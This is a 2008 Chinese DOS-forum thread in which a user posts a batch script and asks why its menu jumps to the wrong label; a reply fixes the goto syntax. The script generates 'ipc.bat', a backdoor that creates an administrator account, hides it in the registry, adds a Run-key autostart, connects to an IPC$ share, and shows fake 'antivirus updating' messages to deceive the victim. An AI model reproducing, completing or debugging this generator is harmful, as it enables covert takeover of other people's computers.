中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
作者:
标题: 灵异的批处理! 吓.... 上一主题 | 下一主题
setarphim
新手上路





积分 18
发帖 5
注册 2008-8-3
状态 离线
『楼 主』:  灵异的批处理! 吓....

论坛终于恢复了,真高兴,今天,我写了一个批处理,有一个很奇怪的现象:
==============================================
E项.bat
==============================================
@echo off
:son
echo 所有的设置不能为空!
echo.
echo 连接端的名字是:ipc.bat
echo.
set /p szd=连接端生成在[如 E盘就输入E:\]:
set /p yip=你电脑的IP:
set /p tdl=被连接者登陆本机的帐户名:
set /p tdma=他帐户的密码:
set /p ndzh=在被连接者新建的用户名:
set /p ndma=你远程帐户的密码:
echo 配置成功!
pause.
cls
echo 固定配置:
echo 对方登陆IP:%yip% 对方登陆帐户:%tdl% 对方帐户密码:%tdma%
echo 你在他的电脑上建立的帐户:%ndzh% 帐户密码:%ndma% 帐户属性:管理员
echo =======================
echo 以下是连接端的添加项目.
echo =======================
echo .
echo z.你的控制端会自动启动.(但开机时弹出黑框)
echo q.你的远程帐户是隐藏的.
echo w.两者兼备.
set /p ndxz=[z.q.w] :
if %ndxz% ==z goto :z
if %ndxz% ==q goto :q
if %ndxz% ==w goto :w


::连接项目的选择项目
::啊!手麻了....

:z
echo 输入连接端你想放在对方的哪里? 如E:\hack\ipc.bat 就输入:E:\hack\ipc.bat
echo 一但确定了,你就必须放在那里,否则达不到自动启动的功能.
set /p dif=地方路径:
set 123=%dif%
echo @echo off > %szd%ipc.bat
echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat
echo net user %ndzh% %ndma% /add >> %szd%ipc.bat
echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat
echo echo pause >> %szd%ipc.bat
echo echo 杀毒软件正在更新... >> %szd%ipc.bat
echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat
echo echo 正在修改注册表...... >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d %123% /f >> %szd%ipc.bat
echo echo 更新完毕. >> %szd%ipc.bat
echo pause >> %szd%ipc.bat
echo exit >> %szd%ipc.bat
echo 生成成功.
:q
echo @echo off > %szd%ipc.bat
echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat
echo net user %ndzh% %ndma% /add >> %szd%ipc.bat
echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat
echo echo pause >> %szd%ipc.bat
echo echo 杀毒软件正在更新... >> %szd%ipc.bat
echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat
echo echo 正在修改注册表...... >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %ndzh% /t reg_dword /d 00000000 /f >> %szd%ipc.bat
echo echo 更新完毕. >> %szd%ipc.bat
echo pause >> %szd%ipc.bat
echo exit >> %szd%ipc.bat
echo 生成成功.
:w
echo @echo off > %szd%ipc.bat
echo echo 连接网络后杀毒软件更新. >> %szd%ipc.bat
echo net user %ndzh% %ndma% /add >> %szd%ipc.bat
echo net localgroup administrators %ndzh% /add >> %szd%ipc.bat
echo echo pause >> %szd%ipc.bat
echo echo 杀毒软件正在更新... >> %szd%ipc.bat
echo net use \\%yip%\ipc$ "%tdma%"\user:"%tdl%" >> %szd%ipc.bat
echo echo 正在修改注册表...... >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system /t REG_SZ /d %123% /f >> %szd%ipc.bat
echo echo reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v %ndzh% /t reg_dword /d 00000000 /f >> %szd%ipc.bat
echo echo 更新完毕. >> %szd%ipc.bat
echo pause >> %szd%ipc.bat
echo exit >> %szd%ipc.bat
echo 生成成功!


本应按 z 跳到 z 的项下,按 w 跳到 w 的项下,对吧!
可当我按 z 和 w 都会跳到 q 项下!!!!
帮帮我啊!!!

2008-8-6 15:26
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
Climbing
铂金会员

网络独行侠


积分 6962
发帖 2753
注册 2003-4-16
来自 河北保定
状态 离线
『第 2 楼』:  

goto后面应该直接跟标签名,去掉那个冒号。为了避免不必要的重复,可以给标准加上适当的前缀。

例如:_z _ZZZ

if ... goto _zzz
...
:_zzz
...



偶只喜欢回答那些标题和描述都很清晰的帖子!
如想解决问题,请认真学习“这个帖子”和“这个帖子”并努力遵守,如果可能,请告诉更多的人!
2008-8-7 18:40
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (653668)  编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: